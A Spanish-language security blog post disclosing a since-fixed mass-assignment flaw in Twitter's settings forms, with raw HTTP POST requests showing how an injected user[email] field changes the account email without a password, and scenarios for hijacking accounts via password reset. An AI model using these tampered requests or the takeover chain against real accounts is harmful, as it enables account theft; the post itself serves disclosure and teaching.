Ejemplo de ¿mass assignment? en twitter
A raíz del (ahora ya no tan) reciente incidente relacionado con un cross-site scripting en twitter dando un paseo por twitter encontramos lo que parecía ser un ejemplo «curioso» de mass-assignment en la actualización del modelo «User», sobre el que nos gustaría compartir los detalles.
Para la gente que no esté familiarizada con el entorno de Ruby On Rails, comentar que mass-assignment es una característica de Rails que permite la actualización de los atributos de un modelo de forma masiva, a partir de un Hash que contenga los atributos y valores del modelo de datos. Si imaginamos un modelo de datos «User» con dos atributos: «name» y «surname», a partir de un Hash como el siguiente:
user_attrs = Hash.new user_attrs = {:name => "juan", :surname => "vazquez" }
Rails permite setear los atributos del modelo de forma masiva, por ejemplo:
# nuevo usuario utilizando mass-assignment User.new(user_attrs) # actualización de un usuario utilizando mass-assignment user.update_attributes(user_attrs)
El problema es que setear los atributos de forma masiva puede comprometer la seguridad de la aplicación si no se toman las precauciones adecuadas. Más información sobre mass-assignment y seguridad en aplicaciones Rails se puede encontrar en:
- http://http://guides.rubyonrails.org/security.html
- http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/
El bug, que permitía a un usuario autenticado actualizar datos sensibles de su perfil (como su dirección de correo electrónico) sin confirmar su identidad (introduciendo nuevamente su contraseña), ha sido reportado a Twitter previamente y ha sido corregido (aunque no nos ha confirmado la naturaleza del problema). Comentamos a continuación los detalles.
El tema es que twitter permite actualizar el perfil (esto es, actualizar el modelo «User») a los usuarios al menos a través de 4 opciones (siempre hablando del acceso Web):
- Account
- Notices
- Profile
- Design
Si nos fijamos en las diferentes peticiones que se generan, nos damos cuenta de que las cuatro opciones actualizan el modelo «User» («user[propiedad]=valor»):
- Account
POST /settings/accounts/update HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/account Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 345 _method=put&authenticity_token=&user%5Bscreen_name%5D=j_u_a_n_v_p&user%5Bemail%5D=juan.vazquez.test%40gmail.com&user%5Bdiscoverable_by_email%5D=0&user%5Blang%5D=en&user%5Btime_zone%5D=Greenland&user%5Bgeo_enabled%5D=0&user%5Bshow_all_inline_media%5D=0&user%5Bprotected%5D=0&auth_password=faketest&commit=Save+changes
POST /settings/notifications/update HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/notifications Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 212 authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&commit=Save
POST /settings/profile HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/profile Cookie: Content-Type: multipart/form-data; boundary=---------------------------22901348621322226821059329840 Content-Length: 1131 -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="_method" put -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="authenticity_token" -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename="" Content-Type: application/octet-stream -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="user[name]" test -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="user[location]" barcelona -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="user[url]" http:// -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="user[description]" -----------------------------22901348621322226821059329840 Content-Disposition: form-data; name="commit" Save -----------------------------22901348621322226821059329840--
POST /settings/design/update HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/design Cookie: Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446 Content-Length: 2036 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="authenticity_token" -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_default]" true -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="tab" none -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="profile_theme" 3 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[uploaded_data]"; filename="" Content-Type: application/octet-stream -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_use_background_image]" true -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_background_image_url]"-----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_background_tile]" 0 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_background_color]" #EDECE9 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_text_color]" #634047 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_link_color]" #088253 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_sidebar_fill_color]" #E3E2DE -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_sidebar_border_color]" #D3D2CF -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="commit" save changes -----------------------------217306245668628822413166446--
De la cuatro opciones anteriores «Account» es la única que solicita al usuario su contraseña para poder llevar a cabo su actualización:
Esto tiene sentido, ya que desde la opción «Account» el usuario puede actualizar información sensible, como su dirección de correo electrónico, pieza clave para llevar a cabo la recuperación de contraseña.
Sin embargo, desde las otras tres opciones («Notices», «Profile» y «Design») es posible actualizar información sensible del modelo User, como la dirección de correo electrónico, sin tener que escribir la contraseña para confirmar la identidad del usuario. A continuación, las peticiones que permitirían la actualización de correo electrónico (sin confirmar la contraseña):
- Notices
POST /settings/notifications/update HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/notifications Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 249 authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&user%5Bemail%5D=juan.vazquez.test@gmail.com&commit=Save
POST /settings/profile HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/profile Cookie: Content-Type: multipart/form-data; boundary=---------------------------9717853222661105081714554876 Content-Length: 1264 -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="_method" put -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="authenticity_token" -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename="" Content-Type: application/octet-stream -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="user[name]" test -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="user[location]" barcelona -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="user[url]" http:// -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="user[email]" juan.vazquez.test@gmail.com -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="user[description]" -----------------------------9717853222661105081714554876 Content-Disposition: form-data; name="commit" Save -----------------------------9717853222661105081714554876--
POST /settings/design/update HTTP/1.1 Host: twitter.com User-Agent: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://twitter.com/settings/design Cookie: Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446 Content-Length: 2036 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="authenticity_token" -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_default]" true -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="tab" none -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="profile_theme" 3 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[uploaded_data]"; filename="" Content-Type: application/octet-stream -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_use_background_image]" true -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_background_image_url]"-----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_background_tile]" 0 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_background_color]" #EDECE9 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_text_color]" #634047 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_link_color]" #088253 -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_sidebar_fill_color]" #E3E2DE -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[profile_sidebar_border_color]" #D3D2CF -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="user[email]" juan.vazquez.test@gmail.com -----------------------------217306245668628822413166446 Content-Disposition: form-data; name="commit" save changes -----------------------------217306245668628822413166446--
Después de lanzar cualquiera de las peticiones anteriores se podría confirmar el cambio desde la nueva cuenta de correo electrónico (que pertenecería al secuestrador :)):
Algunos escenarios en los que se podría haber utilizado el bug para secuestrar totalmente una cuenta de twitter (mediante la funcionalidad de restauración de contraseña):
- Sistemas de uso compartido.
- Escenarios de sniffing de red. Sobretodo con la publicación de firesheep :).
- Usado conjuntamente con otras vulnerabilidades, por ejemplo, de Cross Site Scripting
¿A alguien se le ocurren otros escenarios de ataque?